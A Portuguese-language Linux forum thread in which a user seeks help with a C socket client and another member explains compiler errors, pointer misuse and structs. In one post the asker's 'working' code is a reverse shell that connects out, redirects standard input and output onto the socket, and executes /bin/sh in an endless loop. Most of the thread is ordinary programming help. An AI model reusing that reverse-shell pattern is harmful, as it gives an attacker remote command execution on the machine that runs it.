Cliente socket escrito em C [AJUDA!] [RESOLVIDO]

1. Cliente socket escrito em C [AJUDA!] [RESOLVIDO]

mrx6s0
(usa Ubuntu)

Enviado em 06/10/2017 - 20:40h

Boa noite. Estou com problemas no seguinte código, a conexão não acontece.

Se alguém puder me dar uma luz, primeira vez que estou usando structs com sockets, não sei se a maneira que fiz faz muito sentido...

agradeço qualquer ajuda



#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <errno.h>

#include <string.h>

#include <arpa/inet.h>

#include <time.h>

#include <sys/types.h>

#include <sys/socket.h>



#define IP "127.0.0.1"



#define PORT 55766



/* struct of cong=figurations to client. */



  typedef struct client {



  char * ip;

  int * port;

  char cmd[_T_SIZE 256];

  //char send[2046];



  } Client;



  typedef struct connection_success {



  int sockfd;

  int newsockfd;

  int n;

  int listenfd;



  } Connection_success;



   /* execute the program */



   int main(int argc, char *argv[])



   {





   const static unsigned char **ip;

   const static unsigned long int **port;

   const static unsigned char **cmd;



   const static const long unsigned int **newsockfd;

   const static const long unsigned int **n;

   const static long unsigned int *listenfd;

   const static long unsigned int *clien;





  /* create connection */



  struct sockaddr_in serv_addr;



  listenfd = socket(AF_INET, SOCK_STREAM, 0);

  bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));



  memset(&serv_addr, '0', sizeof(serv_addr));

  memset(&cmd, '0', sizeof(cmd));



  serv_addr.sin_family = AF_INET;

  serv_addr.sin_addr.s_addr = htonl(ip);

  serv_addr.sin_port = htons(port);



  if (listenfd <= 0)

      perror("error 101");



  if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)

    perror("setsockopt(SO_REUSEADDR) failed");



  bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));



  listen(listenfd, 10);



  printf("about to listen\n");

     listen(listenfd, 10);

     clien = sizeof(serv_addr);



    int k;



     for(k=0; k<100; k++)

     {

         newsockfd = accept(sockfd,

                 (struct sockaddr *) &serv_addr,

                 &clien);



         if (newsockfd < 0)

             error("ERROR on accept");

         bzero(cmd,256);

         n = read(newsockfd,cmd,255);

         if (n < 0) error("ERROR reading from socket");

         printf("Here is the message: %s\n",cmd);

         n = write(newsockfd,"I got your message",18);

         if (n < 0) error("ERROR writing to socket");

         close(newsockfd);

     }

     close(sockfd);

     return 0;

}

0 0

Quote

2. Re: Cliente socket escrito em C [AJUDA!]

paulo1205
(usa Ubuntu)

Enviado em 06/10/2017 - 23:13h

Seu programa nem compila. Recomendo tratar as mensagens de erro mostradas.

$ gcc -Wall -Werror -O2 -pedantic-errors -c x.c

x.c: In function ‘main’:

x.c:56:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

   listenfd = socket(AF_INET, SOCK_STREAM, 0);

            ^

x.c:57:8: error: passing argument 1 of ‘bind’ makes integer from pointer without a cast [-Wint-conversion]

   bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

        ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’

 extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)

            ^

In file included from /usr/include/arpa/inet.h:22:0,

                 from x.c:6:

x.c:63:37: error: passing argument 1 of ‘__bswap_32’ makes integer from pointer without a cast [-Wint-conversion]

   serv_addr.sin_addr.s_addr = htonl(ip);

                                     ^

In file included from /usr/include/endian.h:60:0,

                 from /usr/include/x86_64-linux-gnu/bits/waitstatus.h:64,

                 from /usr/include/stdlib.h:42,

                 from x.c:2:

/usr/include/x86_64-linux-gnu/bits/byteswap.h:45:1: note: expected ‘unsigned int’ but argument is of type ‘const unsigned char **’

 __bswap_32 (unsigned int __bsx)

 ^

x.c:66:16: error: ordered comparison of pointer with integer zero [-Wpedantic]

   if (listenfd <= 0)

                ^

x.c:69:18: error: passing argument 1 of ‘setsockopt’ makes integer from pointer without a cast [-Wint-conversion]

   if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) 

                  ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:226:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’

 extern int setsockopt (int __fd, int __level, int __optname,

            ^

x.c:72:8: error: passing argument 1 of ‘bind’ makes integer from pointer without a cast [-Wint-conversion]

   bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

        ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’

 extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)

            ^

x.c:74:10: error: passing argument 1 of ‘listen’ makes integer from pointer without a cast [-Wint-conversion]

   listen(listenfd, 10);

          ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’

 extern int listen (int __fd, int __n) __THROW;

            ^

x.c:77:13: error: passing argument 1 of ‘listen’ makes integer from pointer without a cast [-Wint-conversion]

      listen(listenfd, 10);

             ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’

 extern int listen (int __fd, int __n) __THROW;

            ^

x.c:78:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

      clien = sizeof(serv_addr);

            ^

x.c:84:29: error: ‘sockfd’ undeclared (first use in this function)

          newsockfd = accept(sockfd,

                             ^

x.c:84:29: note: each undeclared identifier is reported only once for each function it appears in

x.c:86:18: error: passing argument 3 of ‘accept’ from incompatible pointer type [-Wincompatible-pointer-types]

                  &clien);

                  ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:243:12: note: expected ‘socklen_t * restrict {aka unsigned int * restrict}’ but argument is of type ‘const long unsigned int **’

 extern int accept (int __fd, __SOCKADDR_ARG __addr,

            ^

x.c:88:24: error: ordered comparison of pointer with integer zero [-Wpedantic]

          if (newsockfd < 0)

                        ^

x.c:89:14: error: implicit declaration of function ‘error’ [-Wimplicit-function-declaration]

              error("ERROR on accept");

              ^

x.c:91:14: error: implicit declaration of function ‘read’ [-Wimplicit-function-declaration]

          n = read(newsockfd,cmd,255);

              ^

x.c:91:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

          n = read(newsockfd,cmd,255);

            ^

x.c:92:16: error: ordered comparison of pointer with integer zero [-Wpedantic]

          if (n < 0) error("ERROR reading from socket");

                ^

x.c:93:17: error: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘const unsigned char **’ [-Werror=format=]

          printf("Here is the message: %s\n",cmd);

                 ^

x.c:94:14: error: implicit declaration of function ‘write’ [-Wimplicit-function-declaration]

          n = write(newsockfd,"I got your message",18);

              ^

x.c:94:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

          n = write(newsockfd,"I got your message",18);

            ^

x.c:95:16: error: ordered comparison of pointer with integer zero [-Wpedantic]

          if (n < 0) error("ERROR writing to socket");

                ^

x.c:96:10: error: implicit declaration of function ‘close’ [-Wimplicit-function-declaration]

          close(newsockfd);

          ^

cc1: all warnings being treated as errors

Boa parte dos erros tem a ver com tipos errôneos das variáveis. Entre outros, você usou ponteiros onde não deveria tê-los usado. Alguma razão para isso?

0 1

Quote

3. Protótipo funcional.

mrx6s0
(usa Ubuntu)

Enviado em 06/10/2017 - 23:20h

 



 /* create connection */

  void shell()



  {



  int x;



  struct sockaddr_in s;



  s.sin_family = AF_INET;

  s.sin_addr.s_addr = inet_addr(remote_addr);

  s.sin_port = htons(remote_port);



  x = socket(AF_INET, SOCK_STREAM, 0);



    connect(x, (struct sockaddr *)&s, sizeof(s));



    if (setsockopt(x, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)

    perror("setsockopt(SO_REUSEADDR) failed");

 }

   /* execute the program */



   int main(int argc, char *argv[])



   {



    shell();



    }

0 0

Quote

4. Re: Cliente socket escrito em C [AJUDA!]

mrx6s0
(usa Ubuntu)

Enviado em 06/10/2017 - 23:40h

paulo1205 escreveu:

Seu programa nem compila. Recomendo tratar as mensagens de erro mostradas.

$ gcc -Wall -Werror -O2 -pedantic-errors -c x.c

x.c: In function ‘main’:

x.c:56:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

   listenfd = socket(AF_INET, SOCK_STREAM, 0);

            ^

x.c:57:8: error: passing argument 1 of ‘bind’ makes integer from pointer without a cast [-Wint-conversion]

   bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

        ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’

 extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)

            ^

In file included from /usr/include/arpa/inet.h:22:0,

                 from x.c:6:

x.c:63:37: error: passing argument 1 of ‘__bswap_32’ makes integer from pointer without a cast [-Wint-conversion]

   serv_addr.sin_addr.s_addr = htonl(ip);

                                     ^

In file included from /usr/include/endian.h:60:0,

                 from /usr/include/x86_64-linux-gnu/bits/waitstatus.h:64,

                 from /usr/include/stdlib.h:42,

                 from x.c:2:

/usr/include/x86_64-linux-gnu/bits/byteswap.h:45:1: note: expected ‘unsigned int’ but argument is of type ‘const unsigned char **’

 __bswap_32 (unsigned int __bsx)

 ^

x.c:66:16: error: ordered comparison of pointer with integer zero [-Wpedantic]

   if (listenfd <= 0)

                ^

x.c:69:18: error: passing argument 1 of ‘setsockopt’ makes integer from pointer without a cast [-Wint-conversion]

   if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) 

                  ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:226:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’

 extern int setsockopt (int __fd, int __level, int __optname,

            ^

x.c:72:8: error: passing argument 1 of ‘bind’ makes integer from pointer without a cast [-Wint-conversion]

   bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

        ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’

 extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)

            ^

x.c:74:10: error: passing argument 1 of ‘listen’ makes integer from pointer without a cast [-Wint-conversion]

   listen(listenfd, 10);

          ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’

 extern int listen (int __fd, int __n) __THROW;

            ^

x.c:77:13: error: passing argument 1 of ‘listen’ makes integer from pointer without a cast [-Wint-conversion]

      listen(listenfd, 10);

             ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ‘int’ but argument is of type ‘const long unsigned int *’

 extern int listen (int __fd, int __n) __THROW;

            ^

x.c:78:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

      clien = sizeof(serv_addr);

            ^

x.c:84:29: error: ‘sockfd’ undeclared (first use in this function)

          newsockfd = accept(sockfd,

                             ^

x.c:84:29: note: each undeclared identifier is reported only once for each function it appears in

x.c:86:18: error: passing argument 3 of ‘accept’ from incompatible pointer type [-Wincompatible-pointer-types]

                  &clien);

                  ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:243:12: note: expected ‘socklen_t * restrict {aka unsigned int * restrict}’ but argument is of type ‘const long unsigned int **’

 extern int accept (int __fd, __SOCKADDR_ARG __addr,

            ^

x.c:88:24: error: ordered comparison of pointer with integer zero [-Wpedantic]

          if (newsockfd < 0)

                        ^

x.c:89:14: error: implicit declaration of function ‘error’ [-Wimplicit-function-declaration]

              error("ERROR on accept");

              ^

x.c:91:14: error: implicit declaration of function ‘read’ [-Wimplicit-function-declaration]

          n = read(newsockfd,cmd,255);

              ^

x.c:91:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

          n = read(newsockfd,cmd,255);

            ^

x.c:92:16: error: ordered comparison of pointer with integer zero [-Wpedantic]

          if (n < 0) error("ERROR reading from socket");

                ^

x.c:93:17: error: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘const unsigned char **’ [-Werror=format=]

          printf("Here is the message: %s\n",cmd);

                 ^

x.c:94:14: error: implicit declaration of function ‘write’ [-Wimplicit-function-declaration]

          n = write(newsockfd,"I got your message",18);

              ^

x.c:94:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

          n = write(newsockfd,"I got your message",18);

            ^

x.c:95:16: error: ordered comparison of pointer with integer zero [-Wpedantic]

          if (n < 0) error("ERROR writing to socket");

                ^

x.c:96:10: error: implicit declaration of function ‘close’ [-Wimplicit-function-declaration]

          close(newsockfd);

          ^

cc1: all warnings being treated as errors

Boa parte dos erros tem a ver com tipos errôneos das variáveis. Entre outros, você usou ponteiros onde não deveria tê-los usado. Alguma razão para isso?

paulo1205 escreveu:

Seu programa nem compila. Recomendo tratar as mensagens de erro mostradas.

$ gcc -Wall -Werror -O2 -pedantic-errors -c x.c

x.c: In function ?main?:

x.c:56:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

   listenfd = socket(AF_INET, SOCK_STREAM, 0);

            ^

x.c:57:8: error: passing argument 1 of ?bind? makes integer from pointer without a cast [-Wint-conversion]

   bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

        ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ?int? but argument is of type ?const long unsigned int *?

 extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)

            ^

In file included from /usr/include/arpa/inet.h:22:0,

                 from x.c:6:

x.c:63:37: error: passing argument 1 of ?__bswap_32? makes integer from pointer without a cast [-Wint-conversion]

   serv_addr.sin_addr.s_addr = htonl(ip);

                                     ^

In file included from /usr/include/endian.h:60:0,

                 from /usr/include/x86_64-linux-gnu/bits/waitstatus.h:64,

                 from /usr/include/stdlib.h:42,

                 from x.c:2:

/usr/include/x86_64-linux-gnu/bits/byteswap.h:45:1: note: expected ?unsigned int? but argument is of type ?const unsigned char **?

 __bswap_32 (unsigned int __bsx)

 ^

x.c:66:16: error: ordered comparison of pointer with integer zero [-Wpedantic]

   if (listenfd <= 0)

                ^

x.c:69:18: error: passing argument 1 of ?setsockopt? makes integer from pointer without a cast [-Wint-conversion]

   if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) 

                  ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:226:12: note: expected ?int? but argument is of type ?const long unsigned int *?

 extern int setsockopt (int __fd, int __level, int __optname,

            ^

x.c:72:8: error: passing argument 1 of ?bind? makes integer from pointer without a cast [-Wint-conversion]

   bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));

        ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:123:12: note: expected ?int? but argument is of type ?const long unsigned int *?

 extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)

            ^

x.c:74:10: error: passing argument 1 of ?listen? makes integer from pointer without a cast [-Wint-conversion]

   listen(listenfd, 10);

          ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ?int? but argument is of type ?const long unsigned int *?

 extern int listen (int __fd, int __n) __THROW;

            ^

x.c:77:13: error: passing argument 1 of ?listen? makes integer from pointer without a cast [-Wint-conversion]

      listen(listenfd, 10);

             ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:233:12: note: expected ?int? but argument is of type ?const long unsigned int *?

 extern int listen (int __fd, int __n) __THROW;

            ^

x.c:78:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

      clien = sizeof(serv_addr);

            ^

x.c:84:29: error: ?sockfd? undeclared (first use in this function)

          newsockfd = accept(sockfd,

                             ^

x.c:84:29: note: each undeclared identifier is reported only once for each function it appears in

x.c:86:18: error: passing argument 3 of ?accept? from incompatible pointer type [-Wincompatible-pointer-types]

                  &clien);

                  ^

In file included from /usr/include/netinet/in.h:23:0,

                 from /usr/include/arpa/inet.h:22,

                 from x.c:6:

/usr/include/x86_64-linux-gnu/sys/socket.h:243:12: note: expected ?socklen_t * restrict {aka unsigned int * restrict}? but argument is of type ?const long unsigned int **?

 extern int accept (int __fd, __SOCKADDR_ARG __addr,

            ^

x.c:88:24: error: ordered comparison of pointer with integer zero [-Wpedantic]

          if (newsockfd < 0)

                        ^

x.c:89:14: error: implicit declaration of function ?error? [-Wimplicit-function-declaration]

              error("ERROR on accept");

              ^

x.c:91:14: error: implicit declaration of function ?read? [-Wimplicit-function-declaration]

          n = read(newsockfd,cmd,255);

              ^

x.c:91:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

          n = read(newsockfd,cmd,255);

            ^

x.c:92:16: error: ordered comparison of pointer with integer zero [-Wpedantic]

          if (n < 0) error("ERROR reading from socket");

                ^

x.c:93:17: error: format ?%s? expects argument of type ?char *?, but argument 2 has type ?const unsigned char **? [-Werror=format=]

          printf("Here is the message: %s\n",cmd);

                 ^

x.c:94:14: error: implicit declaration of function ?write? [-Wimplicit-function-declaration]

          n = write(newsockfd,"I got your message",18);

              ^

x.c:94:12: error: assignment makes pointer from integer without a cast [-Wint-conversion]

          n = write(newsockfd,"I got your message",18);

            ^

x.c:95:16: error: ordered comparison of pointer with integer zero [-Wpedantic]

          if (n < 0) error("ERROR writing to socket");

                ^

x.c:96:10: error: implicit declaration of function ?close? [-Wimplicit-function-declaration]

          close(newsockfd);

          ^

cc1: all warnings being treated as errors

Boa parte dos erros tem a ver com tipos errôneos das variáveis. Entre outros, você usou ponteiros onde não deveria tê-los usado. Alguma razão para isso?

Bom, eu não encontrei muita coisa sobre ponteiros envolvendo sockets, fiquei meio perdido...

Mas estou encontrando os erros.

Eu acabei de arrumar, é bem trivial, mas funcional. Vou melhorando aos poucos.

Toda ajuda é bem vinda para tratar melhor a escrita do código.

Segue o esboço:



#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <errno.h>

#include <string.h>

#include <arpa/inet.h>

#include <time.h>

#include <sys/types.h>

#include <sys/socket.h>



#define remote_addr "127.0.0.1"



#define remote_port 55766



/* struct of cong=figurations to target. */



  typedef struct client {



  char REMOTE_ADDR;

  int REMOTE_PORT;



 /* char cmd[_T_SIZE 256];

  char send[2046]; não serão usados, por ora. */



  } Client;



  typedef struct connection_success {



/*

  int sockfd;

  int newsockfd;

  int listenfd; */

  

  int x;



  } Connection_success;



  /* create connection */



  void shell()



  {



  struct sockaddr_in s;



  s.sin_family = AF_INET;

  s.sin_addr.s_addr = inet_addr(remote_addr);

  s.sin_port = htons(remote_port);



  x = socket(AF_INET, SOCK_STREAM, 0);



    connect(x, (struct sockaddr *)&s, sizeof(s));



    if (setsockopt(x, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)

    perror("setsockopt(SO_REUSEADDR) failed");

    

    send(x,"\nConnected\n",12,0);



    /* gambiarra. */

    dup2(x, 0);

    dup2(x, 1);

    dup2(x, 2);

    

    execve("/bin/sh", 0, 0);

    execve("cmd.exe", 0, 0);

    execve("/netcat", 0, 0);

 

}

   /* execute the program */



   int main(int argc, char *argv[])



   {



    while(1)



    shell();



    }

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5. Re: Cliente socket escrito em C [AJUDA!] [RESOLVIDO]

mrx6s0
(usa Ubuntu)

Enviado em 06/10/2017 - 23:52h

No caso, fiquei em dúvida quanto á declaração das variáveis contidas na struct



    typedef struct client {

    char * ip;

    int port; 

 

    const static unsigned char **ip;

    const static int *port;

ou por estarem contidas na struct, toda vez que me referenciar à elas, serão invocadas?

Abraço.

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6. Re: Cliente socket escrito em C [AJUDA!]

paulo1205
(usa Ubuntu)

Enviado em 07/10/2017 - 00:14h

Caro mrx6s0,

Eu recomendo que você sempre compile o programa com opções de diagnóstico ligadas, pois elas ajudam a identificar, entre outras coisas, erros com relação a tipos de variáveis, variáveis utilizadas sem um valor inicial conhecido, variáveis que nunca são utilizadas, comandos que nunca serão executados, e outros.

Se você estiver usando GCC ou Clang, as opções de compilação que eu recomendo são: -Wall -Werror -pedantic-errors -O2.

Campos de uma estrutura não têm relação com variáveis declaradas fora da estrutura, mesmo que elas tenham o mesmo nome desses campos.

Uma estrutura não é uma variável. Uma estrutura é uma definição de um tipo de dado composto por elementos de dados menores (os campos da estrutura), a fim de declarar variáveis que sejam desse tipo composto. Se, por exemplo, você declara uma estrutura X contendo os campos a e b, e as variáveis x e y com o tipo struct X, então a variável x será enxergada como um objeto diferente de y, de modo que x.a pode ter um valor diferente de y.a, que será também diferente de uma variável isolada a, e x.b pode ter um valor independente de y.b e independente da variável isolada b.

Você está estudando C por meio de alguma apostila, livro ou curso, ou está apenas tentando aprender com base em exemplos? Parece-me que você precisa de um pouco de teoria, que fica difícil de transmitir por um fórum como este.

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7. Re: Cliente socket escrito em C [AJUDA!]

mrx6s0
(usa Ubuntu)

Enviado em 07/10/2017 - 01:51h

paulo1205 escreveu:

Caro mrx6s0,

Eu recomendo que você sempre compile o programa com opções de diagnóstico ligadas, pois elas ajudam a identificar, entre outras coisas, erros com relação a tipos de variáveis, variáveis utilizadas sem um valor inicial conhecido, variáveis que nunca são utilizadas, comandos que nunca serão executados, e outros.

Se você estiver usando GCC ou Clang, as opções de compilação que eu recomendo são: -Wall -Werror -pedantic-errors -O2.

Campos de uma estrutura não têm relação com variáveis declaradas fora da estrutura, mesmo que elas tenham o mesmo nome desses campos.

Uma estrutura não é uma variável. Uma estrutura é uma definição de um tipo de dado composto por elementos de dados menores (os campos da estrutura), a fim de declarar variáveis que sejam desse tipo composto. Se, por exemplo, você declara uma estrutura X contendo os campos a e b, e as variáveis x e y com o tipo struct X, então a variável x será enxergada como um objeto diferente de y, de modo que x.a pode ter um valor diferente de y.a, que será também diferente de uma variável isolada a, e x.b pode ter um valor independente de y.b e independente da variável isolada b.

Você está estudando C por meio de alguma apostila, livro ou curso, ou está apenas tentando aprender com base em exemplos? Parece-me que você precisa de um pouco de teoria, que fica difícil de transmitir por um fórum como este.

Pois então, eu estudo por conta, com uns livros e apostilas que tenho. Mas no caso, não faço faculdade voltada a computação, logo,meu tempo se limita bastante para o estudo da programação, computação em geral. Estou sempre estudando o que posso.

Vou me guiando pelos meus acertos e erros, digamos.

Estou usando usando as struct pois li sobre otimização de códigos, e usá-las é um bom método. Método tal que não sei se estou aplicando corretamente.

Esse código tem outras funções... mas algo que eu preciso é manter a rotina de conexão após o servidor ''desligar". Adcionar exceções de erro seria uma "saída"?

Aliás, existem métodos adequados para tal?

Atenciosamente,

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8. Protótipo funcional. [adaptado]

mrx6s0
(usa Ubuntu)

Enviado em 08/10/2017 - 04:14h

Senhores, segue um protótipo funcional de uma conexão socket, no lado cliente.





#include <stdio.h>

#include <stdlib.h>

#include <sys/socket.h>

#include <signal.h>

#include <unistd.h>

#include <string.h>

#include <errno.h>

#include <arpa/inet.h>

#include <sys/types.h>



#define remote_addr "127.0.0.1"



#define remote_port 557



  void shell()



  {



    int x;

    struct sockaddr_in s;



    s.sin_family = AF_INET;

    s.sin_addr.s_addr = inet_addr(remote_addr);

    s.sin_port = htons(remote_port);

    memset(s.sin_zero, '\0', sizeof s.sin_zero);



    x = socket(AF_INET, SOCK_STREAM, 0);



    connect(x, (struct sockaddr *)&s, sizeof(s));

    if(connect == -1)

    perror("connect_socket(CONNECT_STABILISHED)failed");



    if (setsockopt(x, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0)

    perror("setsockopt(SO_REUSEADDR) failed");



    {



    return;



    }

}

   /* execute the program */



   int main(int argc, char *argv[])



   {



    shell();



    }

No lado do servidor:



#include<stdio.h>

#include<string.h>    //strlen

#include<sys/socket.h>

#include<arpa/inet.h> //inet_addr

#include<unistd.h>    //write



int main(int argc , char *argv[])



{

    int socket_desc , client_sock , c , read_size;

    struct sockaddr_in server , client;

    char client_message[2000];



    //Create socket

    socket_desc = socket(AF_INET , SOCK_STREAM , 0);

    if (socket_desc == -1)

    {

        printf("Could not create socket");

    }

    puts("Socket created");



    //Prepare the sockaddr_in structure

    server.sin_family = AF_INET;

    server.sin_addr.s_addr = INADDR_ANY;

    server.sin_port = htons( 55766 );



    //Bind

    if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0)

    {

        //print the error message

        perror("bind failed. Error");

        return 1;

    }

    puts("bind done");



    //Listen

    listen(socket_desc , 3);



    //Accept and incoming connection

    puts("Waiting for incoming connections...");

    c = sizeof(struct sockaddr_in);



    //accept connection from an incoming client

    client_sock = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c);

    if (client_sock < 0)

    {

        perror("accept failed");

        return 1;

    }

    puts("Connection accepted");



    }